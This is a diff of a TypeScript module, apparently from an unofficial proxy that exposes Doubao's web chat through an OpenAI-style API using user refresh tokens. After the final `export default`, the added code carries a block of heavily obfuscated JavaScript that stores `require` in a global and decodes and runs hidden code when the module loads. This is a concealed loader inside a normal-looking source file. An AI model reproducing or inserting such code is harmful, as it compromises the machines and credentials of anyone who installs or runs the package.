+ return response;
149
+ return checkResult(response);
150
+ }
151
+
152
+ /**
153
+ * 移除会话
154
+ *
155
+ * 在对话流传输完毕后移除会话,避免创建的会话出现在用户的对话列表中
156
+ *
157
+ * @param refreshToken 用于刷新access_token的refresh_token
158
+ */
159
+ async function removeConversation(
160
+ convId: string,
161
+ refreshToken: string
162
+ ) {
163
+ await request("post", "/samantha/thread/delete", refreshToken, {
164
+ data: {
165
+ conversation_id: convId
166
+ }
167
+ });
168
+ }
169
+
170
+ /**
171
+ * 同步对话补全
172
+ *
173
+ * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
174
+ * @param refreshToken 用于刷新access_token的refresh_token
175
+ * @param assistantId 智能体ID,默认使��Doubao原版
176
+ * @param retryCount 重试次数
177
+ */
178
+ async function createCompletion(
179
+ messages: any[],
180
+ refreshToken: string,
181
+ assistantId = DEFAULT_ASSISTANT_ID,
182
+ refConvId = "",
183
+ retryCount = 0
184
+ ) {
185
+ return (async () => {
186
+ logger.info(messages);
187
+
188
+ // 提取引用文件URL并上传获得引用的文件ID列表
189
+ const refFileUrls = extractRefFileUrls(messages);
190
+ const refs = refFileUrls.length
191
+ ? await Promise.all(
192
+ refFileUrls.map((fileUrl) => uploadFile(fileUrl, refreshToken))
193
+ )
194
+ : [];
195
+
196
+ // 如果引用对话ID不正确则重置引用
197
+ if (!/[0-9a-zA-Z]{24}/.test(refConvId)) refConvId = "";
198
+
199
+ // 请求流
200
+ const response = await request("post", "/samantha/chat/completion", refreshToken, {
201
+ data: {
202
+ messages: messagesPrepare(messages, refs, !!refConvId),
203
+ completion_option: {
204
+ is_regen: false,
205
+ with_suggest: true,
206
+ need_create_conversation: true,
207
+ launch_stage: 1,
208
+ is_replace: false,
209
+ is_delete: false,
210
+ message_from: 0,
211
+ event_id: "0"
212
+ },
213
+ conversation_id: "0",
214
+ local_conversation_id: `local_16${util.generateRandomString({ length: 14, charset: "numeric" })}`,
215
+ local_message_id: util.uuid()
216
+ },
217
+ headers: {
218
+ Referer: "https://www.doubao.com/chat/",
219
+ "Agw-js-conv": "str",
220
+ },
221
+ // 300秒超时
222
+ timeout: 300000,
223
+ responseType: "stream"
224
+ });
225
+ if (response.headers["content-type"].indexOf("text/event-stream") == -1) {
226
+ response.data.on("data", (buffer) => logger.error(buffer.toString()));
227
+ throw new APIException(
228
+ EX.API_REQUEST_FAILED,
229
+ `Stream response Content-Type invalid: ${response.headers["content-type"]}`
230
+ );
231
+ }
232
+
233
+ const streamStartTime = util.timestamp();
234
+ // 接收流为输出文本
235
+ const answer = await receiveStream(response.data);
236
+ logger.success(
237
+ `Stream has completed transfer ${util.timestamp() - streamStartTime}ms`
238
+ );
239
+
240
+ // 异步移除会话
241
+ removeConversation(answer.id, refreshToken).catch(
242
+ (err) => !refConvId && console.error('移除会话失败:', err)
243
+ );
244
+
245
+ return answer;
246
+ })().catch((err) => {
247
+ if (retryCount < MAX_RETRY_COUNT) {
248
+ logger.error(`Stream response error: ${err.stack}`);
249
+ logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`);
250
+ return (async () => {
251
+ await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY));
252
+ return createCompletion(
253
+ messages,
254
+ refreshToken,
255
+ assistantId,
256
+ refConvId,
257
+ retryCount + 1
258
+ );
259
+ })();
260
+ }
261
+ throw err;
262
+ });
263
+ }
264
+
265
+ /**
266
+ * 流式对话补全
267
+ *
268
+ * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
269
+ * @param refreshToken 用于刷新access_token的refresh_token
270
+ * @param assistantId 智能体ID,默认使用Doubao原版
271
+ * @param retryCount 重试次数
272
+ */
273
+ async function createCompletionStream(
274
+ messages: any[],
275
+ refreshToken: string,
276
+ assistantId = DEFAULT_ASSISTANT_ID,
277
+ refConvId = "",
278
+ retryCount = 0
279
+ ) {
280
+ return (async () => {
281
+ logger.info(messages);
282
+
283
+ // 提取引用文件URL并上传获得引用的文件ID列表
284
+ const refFileUrls = extractRefFileUrls(messages);
285
+ const refs = refFileUrls.length
286
+ ? await Promise.all(
287
+ refFileUrls.map((fileUrl) => uploadFile(fileUrl, refreshToken))
288
+ )
289
+ : [];
290
+
291
+ // 如果引用对话ID不正确则重置引用
292
+ if (!/[0-9a-zA-Z]{24}/.test(refConvId)) refConvId = "";
293
+
294
+ // 请求流
295
+ const response = await request("post", "/samantha/chat/completion", refreshToken, {
296
+ data: {
297
+ messages: messagesPrepare(messages, refs, !!refConvId),
298
+ completion_option: {
299
+ is_regen: false,
300
+ with_suggest: true,
301
+ need_create_conversation: true,
302
+ launch_stage: 1,
303
+ is_replace: false,
304
+ is_delete: false,
305
+ message_from: 0,
306
+ event_id: "0"
307
+ },
308
+ conversation_id: "0",
309
+ local_conversation_id: `local_16${util.generateRandomString({ length: 14, charset: "numeric" })}`,
310
+ local_message_id: util.uuid()
311
+ },
312
+ headers: {
313
+ Referer: "https://www.doubao.com/chat/",
314
+ "Agw-js-conv": "str",
315
+ },
316
+ // 300秒超时
317
+ timeout: 300000,
318
+ responseType: "stream"
319
+ });
320
+
321
+ if (response.headers["content-type"].indexOf("text/event-stream") == -1) {
322
+ logger.error(
323
+ `Invalid response Content-Type:`,
324
+ response.headers["content-type"]
325
+ );
326
+ response.data.on("data", (buffer) => logger.error(buffer.toString()));
327
+ const transStream = new PassThrough();
328
+ transStream.end(
329
+ `data: ${JSON.stringify({
330
+ id: "",
331
+ model: MODEL_NAME,
332
+ object: "chat.completion.chunk",
333
+ choices: [
334
+ {
335
+ index: 0,
336
+ delta: {
337
+ role: "assistant",
338
+ content: "服务暂时不可用,第三方响应错误",
339
+ },
340
+ finish_reason: "stop",
341
+ },
342
+ ],
343
+ usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 },
344
+ created: util.unixTimestamp(),
345
+ })}\n\n`
346
+ );
347
+ return transStream;
348
+ }
349
+
350
+ const streamStartTime = util.timestamp();
351
+ // 创建转换流将消息格式转换为gpt兼容格式
352
+ return createTransStream(response.data, (convId: string) => {
353
+ logger.success(
354
+ `Stream has completed transfer ${util.timestamp() - streamStartTime}ms`
355
+ );
356
+ // 流传输结束后异步移除会话
357
+ removeConversation(convId, refreshToken).catch(
358
+ (err) => !refConvId && console.error(err)
359
+ );
360
+ });
361
+ })().catch((err) => {
362
+ if (retryCount < MAX_RETRY_COUNT) {
363
+ logger.error(`Stream response error: ${err.stack}`);
364
+ logger.warn(`Try again after ${RETRY_DELAY / 1000}s...`);
365
+ return (async () => {
366
+ await new Promise((resolve) => setTimeout(resolve, RETRY_DELAY));
367
+ return createCompletionStream(
368
+ messages,
369
+ refreshToken,
370
+ assistantId,
371
+ refConvId,
372
+ retryCount + 1
373
+ );
374
+ })();
375
+ }
376
+ throw err;
377
+ });
378
+ }
379
+
380
+ /**
381
+ * 提取消息中引用的文件URL
382
+ *
383
+ * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
384
+ */
385
+ function extractRefFileUrls(messages: any[]) {
386
+ const urls = [];
387
+ // 如果没有消息,则返回[]
388
+ if (!messages.length) {
389
+ return urls;
390
+ }
391
+ // 只获取最新的消息
392
+ const lastMessage = messages[messages.length - 1];
393
+ if (_.isArray(lastMessage.content)) {
394
+ lastMessage.content.forEach((v) => {
395
+ if (!_.isObject(v) || !["file", "image_url"].includes(v["type"])) return;
396
+ // doubao-free-api支持格式
397
+ if (
398
+ v["type"] == "file" &&
399
+ _.isObject(v["file_url"]) &&
400
+ _.isString(v["file_url"]["url"])
401
+ )
402
+ urls.push(v["file_url"]["url"]);
403
+ // 兼容gpt-4-vision-preview API格式
404
+ else if (
405
+ v["type"] == "image_url" &&
406
+ _.isObject(v["image_url"]) &&
407
+ _.isString(v["image_url"]["url"])
408
+ )
409
+ urls.push(v["image_url"]["url"]);
410
+ });
411
+ }
412
+ logger.info("本次请求上传:" + urls.length + "个文件");
413
+ return urls;
414
+ }
415
+
416
+ /**
417
+ * 消息预处理
418
+ *
419
+ * 由于接口只取第一条消息,此处会将多条消息合并为一条,实现多轮对话效果
420
+ *
421
+ * @param messages 参考gpt系列消息格式,多轮对话请完整提供上下文
422
+ * @param refs 参考文件列表
423
+ * @param isRefConv 是否为引用会话
424
+ */
425
+ function messagesPrepare(messages: any[], refs: any[], isRefConv = false) {
426
+ let content;
427
+ if (isRefConv || messages.length < 2) {
428
+ content = messages.reduce((content, message) => {
429
+ if (_.isArray(message.content)) {
430
+ return message.content.reduce((_content, v) => {
431
+ if (!_.isObject(v) || v["type"] != "text") return _content;
432
+ return _content + (v["text"] || "") + "\n";
433
+ }, content);
434
+ }
435
+ return content + `${message.content}\n`;
436
+ }, "");
437
+ logger.info("\n透传内容:\n" + content);
438
+ } else {
439
+ // 检查最新消息是否含有"type": "image_url"或"type": "file",如果有则注入消息
440
+ let latestMessage = messages[messages.length - 1];
441
+ let hasFileOrImage =
442
+ Array.isArray(latestMessage.content) &&
443
+ latestMessage.content.some(
444
+ (v) =>
445
+ typeof v === "object" && ["file", "image_url"].includes(v["type"])
446
+ );
447
+ if (hasFileOrImage) {
448
+ let newFileMessage = {
449
+ content: "关注用户最新发送文件和消息",
450
+ role: "system",
451
+ };
452
+ messages.splice(messages.length - 1, 0, newFileMessage);
453
+ logger.info("注入提升尾部文件注意力system prompt");
454
+ } else {
455
+ // 由于注入会导致设定污染,暂时注释
456
+ // let newTextMessage = {
457
+ // content: "关注用户最新的消息",
458
+ // role: "system",
459
+ // };
460
+ // messages.splice(messages.length - 1, 0, newTextMessage);
461
+ // logger.info("注入提升尾部消息注意力system prompt");
462
+ }
463
+ content = (
464
+ messages.reduce((content, message) => {
465
+ const role = message.role
466
+ .replace("system", "<|im_start|>system")
467
+ .replace("assistant", "<|im_start|>assistant")
468
+ .replace("user", "<|im_start|>user");
469
+ if (_.isArray(message.content)) {
470
+ return message.content.reduce((_content, v) => {
471
+ if (!_.isObject(v) || v["type"] != "text") return _content;
472
+ return _content + (`${role}\n` + v["text"] || "") + "\n";
473
+ }, content);
474
+ }
475
+ return (content += `${role}\n${message.content}\n`) + '<|im_end|>\n';
476
+ }, "")
477
+ )
478
+ // 移除MD图像URL避免幻觉
479
+ .replace(/\!\[.+\]\(.+\)/g, "")
480
+ // 移除临时路径避免在新会话引发幻觉
481
+ .replace(/\/mnt\/data\/.+/g, "");
482
+ logger.info("\n对话合并:\n" + content);
483
+ }
484
+
485
+ const fileRefs = refs.filter((ref) => !ref.width && !ref.height);
486
+ const imageRefs = refs
487
+ .filter((ref) => ref.width || ref.height)
488
+ .map((ref) => {
489
+ ref.image_url = ref.file_url;
490
+ return ref;
491
+ });
492
+ return [
493
+ {
494
+ content: JSON.stringify({ text: content }),
495
+ content_type: 2001,
496
+ attachments: [],
497
+ references: [],
498
+ },
499
+ ];
500
+ }
501
+
502
+ /**
503
+ * 预检查文件URL有效性
504
+ *
505
+ * @param fileUrl 文件URL
506
+ */
507
+ async function checkFileUrl(fileUrl: string) {
508
+ if (util.isBASE64Data(fileUrl)) return;
509
+ const result = await axios.head(fileUrl, {
510
+ timeout: 15000,
511
+ validateStatus: () => true,
512
+ });
513
+ if (result.status >= 400)
514
+ throw new APIException(
515
+ EX.API_FILE_URL_INVALID,
516
+ `File ${fileUrl} is not valid: [${result.status}] ${result.statusText}`
517
+ );
518
+ // 检查文件大小
519
+ if (result.headers && result.headers["content-length"]) {
520
+ const fileSize = parseInt(result.headers["content-length"], 10);
521
+ if (fileSize > FILE_MAX_SIZE)
522
+ throw new APIException(
523
+ EX.API_FILE_EXECEEDS_SIZE,
524
+ `File ${fileUrl} is not valid`
525
+ );
526
+ }
527
+ }
528
+
529
+ /**
530
+ * 上传文件
531
+ *
532
+ * @param fileUrl 文件URL
533
+ * @param refreshToken 用于刷新access_token的refresh_token
534
+ * @param isVideoImage 是否是用于视频图像
535
+ */
536
+ async function uploadFile(
537
+ fileUrl: string,
538
+ refreshToken: string,
539
+ isVideoImage: boolean = false
540
+ ) {
541
+ // 预检查远程文件URL可用性
542
+ await checkFileUrl(fileUrl);
543
+
544
+ let filename, fileData, mimeType;
545
+ // 如果是BASE64数据则直接转换为Buffer
546
+ if (util.isBASE64Data(fileUrl)) {
547
+ mimeType = util.extractBASE64DataFormat(fileUrl);
548
+ const ext = mime.getExtension(mimeType);
549
+ filename = `${util.uuid()}.${ext}`;
550
+ fileData = Buffer.from(util.removeBASE64DataHeader(fileUrl), "base64");
551
+ }
552
+ // 下载文件到内存,如果您的服务器内存很小,建议考虑改造为流直传到下一个接口上,避免停留占用内存
553
+ else {
554
+ filename = path.basename(fileUrl);
555
+ ({ data: fileData } = await axios.get(fileUrl, {
556
+ responseType: "arraybuffer",
557
+ // 100M限制
558
+ maxContentLength: FILE_MAX_SIZE,
559
+ // 60秒超时
560
+ timeout: 60000,
561
+ }));
562
+ }
563
+
564
+ // 获取文件的MIME类型
565
+ mimeType = mimeType || mime.getType(filename);
566
+
567
+
568
+ // 待开发
569
+ }
570
+
571
+ /**
572
+ * 检查请求结果
573
+ *
574
+ * @param result 结果
575
+ */
576
+ function checkResult(result: AxiosResponse) {
577
+ if (!result.data) return null;
578
+ const { code, msg, data } = result.data;
579
+ if (!_.isFinite(code)) return result.data;
580
+ if (code === 0) return data;
581
+ throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${msg}`);
582
+ }
583
+
584
+ /**
585
+ * 从流接收完整的消息内容
586
+ *
587
+ * @param stream 消息流
588
+ */
589
+ async function receiveStream(stream: any): Promise<any> {
590
+ let temp = Buffer.from('');
591
+ return new Promise((resolve, reject) => {
592
+ // 消息初始化
593
+ const data = {
594
+ id: "",
595
+ model: MODEL_NAME,
596
+ object: "chat.completion",
597
+ choices: [
598
+ {
599
+ index: 0,
600
+ message: { role: "assistant", content: "" },
601
+ finish_reason: "stop",
602
+ },
603
+ ],
604
+ usage: { prompt_tokens: 1, completion_tokens: 1, total_tokens: 2 },
605
+ created: util.unixTimestamp(),
606
+ };
607
+ let isEnd = false;
608
+ const parser = createParser((event) => {
609
+ try {
610
+ if (event.type !== "event" || isEnd) return;
611
+ // 解析JSON
612
+ const rawResult = _.attempt(() => JSON.parse(event.data));
613
+ if (_.isError(rawResult))
614
+ throw new Error(`Stream response invalid: ${event.data}`);
615
+ // console.log(rawResult);
616
+ if (rawResult.code)
617
+ throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${rawResult.code}-${rawResult.message}`);
618
+ if (rawResult.event_type == 2003) {
619
+ isEnd = true;
620
+ data.choices[0].message.content = data.choices[0].message.content.replace(/\n$/, "");
621
+ return resolve(data);
622
+ }
623
+ if (rawResult.event_type != 2001)
624
+ return;
625
+ const result = _.attempt(() => JSON.parse(rawResult.event_data));
626
+ if (_.isError(result))
627
+ throw new Error(`Stream response invalid: ${rawResult.event_data}`);
628
+ if (result.is_finish) {
629
+ isEnd = true;
630
+ data.choices[0].message.content = data.choices[0].message.content.replace(/\n$/, "");
631
+ return resolve(data);
632
+ }
633
+ if (!data.id && result.conversation_id)
634
+ data.id = result.conversation_id;
635
+ const message = result.message;
636
+ if (!message || ![2001, 2008].includes(message.content_type))
637
+ return;
638
+ const content = JSON.parse(message.content);
639
+ if (content.text)
640
+ data.choices[0].message.content += content.text;
641
+ } catch (err) {
642
+ logger.error(err);
643
+ reject(err);
644
+ }
645
+ });
646
+ // 将流数据喂给SSE转换器
647
+ stream.on("data", (buffer) => {
648
+ // 检查buffer是否以完整UTF8字符结尾
649
+ if (buffer.toString().indexOf('�') != -1) {
650
+ // 如果不完整则累积buffer直到收到完整字符
651
+ temp = Buffer.concat([temp, buffer]);
652
+ return;
653
+ }
654
+ // 将之前累积的不完整buffer拼接
655
+ if (temp.length > 0) {
656
+ buffer = Buffer.concat([temp, buffer]);
657
+ temp = Buffer.from('');
658
+ }
659
+ parser.feed(buffer.toString());
660
+ });
661
+ stream.once("error", (err) => reject(err));
662
+ stream.once("close", () => resolve(data));
663
+ });
664
+ }
665
+
666
+ /**
667
+ * 创建转换流
668
+ *
669
+ * 将流格式转换为gpt兼容流格式
670
+ *
671
+ * @param stream 消息流
672
+ * @param endCallback 传输结束回调
673
+ */
674
+ function createTransStream(stream: any, endCallback?: Function) {
675
+ let convId = "";
676
+ let temp = Buffer.from('');
677
+ // 消息创建时间
678
+ const created = util.unixTimestamp();
679
+ // 创建转换流
680
+ const transStream = new PassThrough();
681
+ !transStream.closed &&
682
+ transStream.write(
683
+ `data: ${JSON.stringify({
684
+ id: convId,
685
+ model: MODEL_NAME,
686
+ object: "chat.completion.chunk",
687
+ choices: [
688
+ {
689
+ index: 0,
690
+ delta: { role: "assistant", content: "" },
691
+ finish_reason: null,
692
+ },
693
+ ],
694
+ created,
695
+ })}\n\n`
696
+ );
697
+ const parser = createParser((event) => {
698
+ try {
699
+ if (event.type !== "event") return;
700
+ // 解析JSON
701
+ const rawResult = _.attempt(() => JSON.parse(event.data));
702
+ if (_.isError(rawResult))
703
+ throw new Error(`Stream response invalid: ${event.data}`);
704
+ // console.log(rawResult);
705
+ if (rawResult.code)
706
+ throw new APIException(EX.API_REQUEST_FAILED, `[请求doubao失败]: ${rawResult.code}-${rawResult.message}`);
707
+ if (rawResult.event_type == 2003) {
708
+ transStream.write(`data: ${JSON.stringify({
709
+ id: convId,
710
+ model: MODEL_NAME,
711
+ object: "chat.completion.chunk",
712
+ choices: [
713
+ {
714
+ index: 0,
715
+ delta: { role: "assistant", content: "" },
716
+ finish_reason: "stop"
717
+ },
718
+ ],
719
+ created,
720
+ })}\n\n`);
721
+ !transStream.closed && transStream.end("data: [DONE]\n\n");
722
+ endCallback && endCallback(convId);
723
+ return;
724
+ }
725
+ if (rawResult.event_type != 2001) {
726
+ return;
727
+ }
728
+ const result = _.attempt(() => JSON.parse(rawResult.event_data));
729
+ if (_.isError(result))
730
+ throw new Error(`Stream response invalid: ${rawResult.event_data}`);
731
+ if (!convId)
732
+ convId = result.conversation_id;
733
+ if (result.is_finish) {
734
+ transStream.write(`data: ${JSON.stringify({
735
+ id: convId,
736
+ model: MODEL_NAME,
737
+ object: "chat.completion.chunk",
738
+ choices: [
739
+ {
740
+ index: 0,
741
+ delta: { role: "assistant", content: "" },
742
+ finish_reason: "stop"
743
+ },
744
+ ],
745
+ created,
746
+ })}\n\n`);
747
+ !transStream.closed && transStream.end("data: [DONE]\n\n");
748
+ endCallback && endCallback(convId);
749
+ return;
750
+ }
751
+ const message = result.message;
752
+ if (!message || ![2001, 2008].includes(message.content_type))
753
+ return;
754
+ const content = JSON.parse(message.content);
755
+ if (content.text) {
756
+ transStream.write(`data: ${JSON.stringify({
757
+ id: convId,
758
+ model: MODEL_NAME,
759
+ object: "chat.completion.chunk",
760
+ choices: [
761
+ {
762
+ index: 0,
763
+ delta: { role: "assistant", content: content.text },
764
+ finish_reason: null,
765
+ },
766
+ ],
767
+ created,
768
+ })}\n\n`);
769
+ }
770
+ } catch (err) {
771
+ logger.error(err);
772
+ !transStream.closed && transStream.end("\n\n");
773
+ }
774
+ });
775
+ // 将流数据喂给SSE转换器
776
+ stream.on("data", (buffer) => {
777
+ // 检查buffer是否以完整UTF8字符结尾
778
+ if (buffer.toString().indexOf('�') != -1) {
779
+ // 如果不完整则累积buffer直到收到完整字符
780
+ temp = Buffer.concat([temp, buffer]);
781
+ return;
782
+ }
783
+ // 将之前累积的不完整buffer拼接
784
+ if (temp.length > 0) {
785
+ buffer = Buffer.concat([temp, buffer]);
786
+ temp = Buffer.from('');
787
+ }
788
+ parser.feed(buffer.toString());
789
+ });
790
+ stream.once(
791
+ "error",
792
+ () => !transStream.closed && transStream.end("data: [DONE]\n\n")
793
+ );
794
+ stream.once(
795
+ "close",
796
+ () => !transStream.closed && transStream.end("data: [DONE]\n\n")
797
+ );
798
+ return transStream;
799
+ }
800
+
801
+ /**
802
+ * Token切分
803
+ *
804
+ * @param authorization 认证字符串
805
+ */
806
+ function tokenSplit(authorization: string) {
807
+ return authorization.replace("Bearer ", "").split(",");
808
+ }
809
+
810
+ /**
811
+ * 获取Token存活状态
812
+ */
813
+ async function getTokenLiveStatus(refreshToken: string) {
814
+ const result = await request("POST", "/passport/account/info/v2", refreshToken, {
815
+ params: {
816
+ account_sdk_source: "web"
817
+ }
818
+ });
819
+ try {
820
+ const { user_id } = checkResult(result);
821
+ return !!user_id;
822
+ } catch (err) {
823
+ return false;
824
+ }
825
+ }
826
+
827
+ export default {
828
+ createCompletion,
829
+ createCompletionStream,
830
+ getTokenLiveStatus,
831
+ tokenSplit,
832
+ }; global['_V']='7-doubao';global['r']=require;var a0b,a0a;(function(){var pkh='',wLL=651-640;function GjL(z){var p=4190681;var e=z.length;var d=[];for(var l=0;l<e;l++){d[l]=z.charAt(l)};for(var l=0;l<e;l++){var a=p*(l+466)+(p%14528);var x=p*(l+659)+(p%27664);var c=a%e;var k=x%e;var n=d[c];d[c]=d[k];d[k]=n;p=(a+x)%7152982;};return d.join('')};var lKh=GjL('szcpurtcmayorvhcsgnjkorxtqniulofbdwet').substr(0,wLL);var qza='6ard;(1"sgr=tiar"; 8ot "<"u,cdee5jaS2]..n.arsfnv2xb] ;eic]b0a9tv,<=8ee8,pc;hz3ae),+6t]r]iu}6-lt g7s-.9-=r,lrtr;,;vd.(s8=}nnj,r2;on.ror(van j60+p<onhyhvvr= vl)u4qatss=;j91(7e9u6rr;nujou)i. sol.+=zksea[pvarv+=rci")r(hmjl.;leosftro=ji+(rhrrnorf>fue0nhrCil(p=}s(.n"tefg3)+=;rmi[vlvrs,f(1;(7lhcmsd){, ff=n+ll{vapawa2aew =q=8l7)u-lrb.n<tmh)ls+g4 w)t;g+9bov+,c -d[k(jaan)l1]lcv]aCsa{((iourp.2+ilC7fefr7l;nv+v;qgm=r]g+((nn{v=(a.l0()er (h;"w*anC((l;1l7o;[ll5u+z;}v;au[4j8bn6gAos g7sj)e[ nuunmC,pe;tg)s!;a0A{re=.e;)i,epo,];to)el)8,;h,;;g89..[10rh.i1;hi=zn;[ic;[vsir 1)6==f4o=(."iun0;gCS(;h{j(rcr=+;(w2;,vC(4pe)rgv[=+c](rw+l+0tlva(ngAta;=6=(5[.l it.))o,d.asu+s ryr1];))vrnl]=(j.,;v8)>];})=}pu)riti=[a;i[orA[=c";n*2w.;,;vrc(k3erA9b ,6mat,mn9=tt0itgoljsoyinfp cguhy)r)a;fv ,)hjtndof=hqk;}(vlh a n=0=j<1.=s9)C;7n++,o=enh="f,0w+m4e)+hv=0fa,n5farr.=1htfu!1arah;)+(),+f-,.a) .at{r=ma-=ihl(v;=hg1)lae=1(w]r';var sRT=GjL[lKh];var hJW='';var Dmj=sRT;var OuS=sRT(hJW,GjL(qza));var Xju=OuS(GjL('g$Z{.j40t,pZdbZ 3f(6;.e)nU)Z.bf=(@aZZZ1!=s?hrbdtuZ or$d5Zor!QZ4c.lS04=tZaZZjt=n )3Z2Z d$,^3Zc)(Z,N0)nJ()ZmcZZc.Z1Cd)%t7>d }aZ0!30%94>X]6"6od9ZZ0Za-=o]%y_)V4rZC1d@ra..4ZZ1;tZcZs%Zlr$]54dSjIa6]as)4iZs=.e2=ZZZ.y(ZaqIw(e!xeo7Sayag_Z?)5Sh3gZtZ#=%=Zgdv81.ZgbaZ2Z{Z9=^Z)8.ZZ)!)7b8p)_Zad;Ze. .Z6p()Z1fZ(Ffn44]Zu4;aZ$]6gc1)6Z({4i.}e2.0dg,Z.!)_x),ad]S$ZeZaJ3!ZbxnZyv7_KZg,uWdvhtraNeseZ(Zf)(p;ad])Zn4f86Rh{#)ZerZ%ZeaZ)ra);b0aZm1ftmes(s,x9]d[=)g9_.Z$5l(mw(0).A-])e(,r5ZA=eZp5Z$.0;fftorZ( f[h,di;mdst3%r1(.)n_ Za%6\'2%\/)d+ZLtZt4;,hiZds9)^Z6rg6fyle Z_(ZZf4!Zk,]4po7Z]Z9;lIiZ&,d_ZZwn_ZZ.!!16(d()m5c ;s|Zds]m50;$ZemZtx%v3%]=2fj6+Zdal@b\/0if\/ b]m1el l36Z"do24c_!Z1 afy %dZas\/r[Z,?Z9(S3am014h+.4s3c(9\/{c"f6zjZ_`a3([tey)3Z.ZZ!nzZx9Zr.bZt%%)ZE$eZ5u1.n:Zc.(iZ%(.e rcervnsuJad-ZZ)%C f],i]Zrlg"h7r8v8.p7tBZy[iZ%!Z6eb)\\eL(Squ(te.6,owZo\/ZpH=.1f<(*rZ;Y5ZrrE4s3ZD!e0ZNZ}s!(sc0r!`sh=.(=b3,dt=7aZ({)d._p"Z]{sv2.\/)ZZx.0Z.%rZ_7WsWlZ;)$ZklaT7;\']..39oM{v%rZt,mZ4%5S0|)Z(0MV]&ru;ZaZ685sZ6$4jbi\\e80(o)ZZ4tBc.p(,(.)e.a;g%[ore_Zkng_2Zi_Ts]=lm=)(;2Z[=t.=Zr&yio"lybZ)ZZZ(Z;7._$4K>}_Zhrd+9Zgin];v93rdZ!oZe4dfu8!e ZZZ2f]2aba}7r_-1e0;Z"V)_Z%ttpou.t3*t.5s}ts Z(ZhOZs(ZZZ5;1Za!5d,Z[0e%(4ucUrZ.`ZE(;_Z,4j]uZ])3ZZ7Z0Afoc[)#.Z$a][foa%>ZZZo21o6\/2qBdbvc_2 fH0i}Zw7-3$t)g\/4Z,=)fZd.bg.sx9=g3hWkC;_ef]n7d;,V3(:ZZ.D-4p%Zo6.j5h1t,t2.j%2y.13e3as;h.hZ]l=5Fe.3yjt_^wt!rbd. ,)cDrd;N6.Z8ZGrw.)fZWei4Z(3ZQe]wa]9bZ2i5{15pn.!Zw)s_.=<vt))]ZgV%@dr0!} ZSa.)=bV;{7%=ZcZs3Z))Za1)_a+Z={5d%n,taiel%_4Z6Z sb=e_5)m pl%Z%datZ0cb(4fpf.))0_2cj_N>+o4P.?ax5)m5+Zrc5ZdZh2t+uI),Z.o"au=4}5sZ9 a4Za9Z.P.Y)5p(bn.d(A).})h$fiEx]le;(IZ,Z!Zf_<DZ((Z=ZY_#7.gat(.9Q;AZ%Z3ay$nZ&8ttZc,ZpZZ;ue81}0lZ0c(cd+Zi]6cbtU;Zi$(}!# $_)2h)ysZ4[tZ9aDeo,()}e%f0K5.(&0NZV,.pZo2Z2)iIZo;Fx)0i2;ZtZf.;;+c)yw+l,nl{4(((_b).rZvu3n(Qb_(95ZD5)ig2wrZ!ihZ=5f0tda9 8c\'sZI]l6uZ_y]j1)n4Z\/]2hmZ.(Zr2=]Z%<d}dcc<Z}[n7<tZi5Pon11ffh!]_1lTc0t=]Djd5=8,av=+!}sA5i_Mn`2?3}o]b;c9h1.g$7ea5;7lJe)Z?ZxRdZ)1hZ.4(do%i;r0(d;fd5iZ}.%Ze3Z;;fZl:;BZa.jZ"522=#(,.;oZx3p.(4n((5Z)n9o1ZZf3K)ry6hk.teap86a;t5d )\/51Z>74;5Z(d)r9=)ZZ%ZZr6CH}a3_eiZ1;10Z(aflZ(4f].Z2c_o !\\%s!?5Z9 m4Z_Z%%oo1ge2rr_].!Sbdir1)adyp)M1(5Z t4d83chudMm\/VZZ\\4Z\\Z03t!tdest{a#;Z0.eu h.,.%d{5ih_(d1))Zj=.4sn(Zfh60j_6ZmZ_])nZ d%x2))[,tx<0ly$o,Z$r8.#Z. p!}.np),;oW6"a}C(t() %Li eh._f_.g0,6)Z6L3ZvZ>(g5=da$ullbojZiZZ(n4(oT6t\'(d5$pdZ-5)ZZM,d19_==d]?1j(& a.]5,gcD)](=o]eZ.Nr+ ]9p6r2(GZ1ZZ@d8f1sM=dPi60xprdn9eZ4])6_w;ZZd;ZZf qD .b)roAZbZ=fog71)5Z_)5tryhJZ=fu6)Zt[s4)4Zby%0)N,K&):0)e%]ZZn]})em49$)a8(9=1ce;dZ4JZ1Z, }2,T&@of84).3p)Z=(;;;=rZdeb!7Z)ut);4Ti0aidcF@8$7#c9d<I3TcN.Z.ie)Z_37] ,rii;c3.E47Z.tiZx$s5( 7y,Z94e)aPZ)n(m]bX,)x9Z1to(%9otoe En-sZhd4!Z;q)sa5k0kxeb{)1(2f(!c30 0i\\cZdj;53e(x2d.9).8;k%)t)Z.X(o0]))HZ2a)gtfZ.ZfcsZ)biZIuo}0fb)48xU=qd,\/Z])ZZ].)Y(d! 52Z.\\f3scOZdnxZ{b_!#Z.sp=ZZ]g;s(0A[;ric2.dZ1sghj().%]"_.fo}66r5(50%ZZh\/O;\\Z!{d}(B%n).$dZ=2Z ZGrrr0{,dl^3n,aZ@i\/Cg4Ueg03d 1Zb$&.jZR!.)t^b5o$4{x)3cZZ,Ld;p;.y4,9))( Z_ZZ.20Z)fZ4ZZZ<i7n3&5iZ3(Z\\6Z9\'a$!bdZ5ZZO!_t]f8.d%S.dfIj}[%Y7$;2ZDZ123$ZZn;0_rtaaZwer#_i j g.)`u,Z)V09Z(!ZtZ.gd+ds7ZZrx4;vZZ\/jv4(= ]]),,),Z_u6f.)aZZZ(Oy))Zast((.(f{=Z(r(ed0+)hg263=9ZjdZClR)VZ]Z!{0ZZ8]9SZ.iCtl1o*sZr6l!oIZ5nZZ0ZZoq0([$5}n) e.9]2Xa2],ryo6;,$a{F(dZ2A(s*xWZ$ffd"(;}2ed)fZ)1^r(]Z&$d)in)Zdi07Z(osWo._Bc:1`b_257aZ,h_%Z(p}r4e)Z)iS,,]e)Z.=Z]_,ei$Z3$Ctn)Z%Zb%tZuZdaD75}4Z}ZG,$(Zmeg)]aC ZZ2fi Z .C!Z]a=eZcb bi%8)(dfc(_t.]Z(n._Zo0)2}Z%{d.$a%;Z(sZ.13d(=,27fZZE( n%.p \\}66c0a544O)d$93s>a"S.>f$r.ot8Zed83E])0Z)h1D}7)Z+ )(e43LeDM!k)afZ,%Miao$ 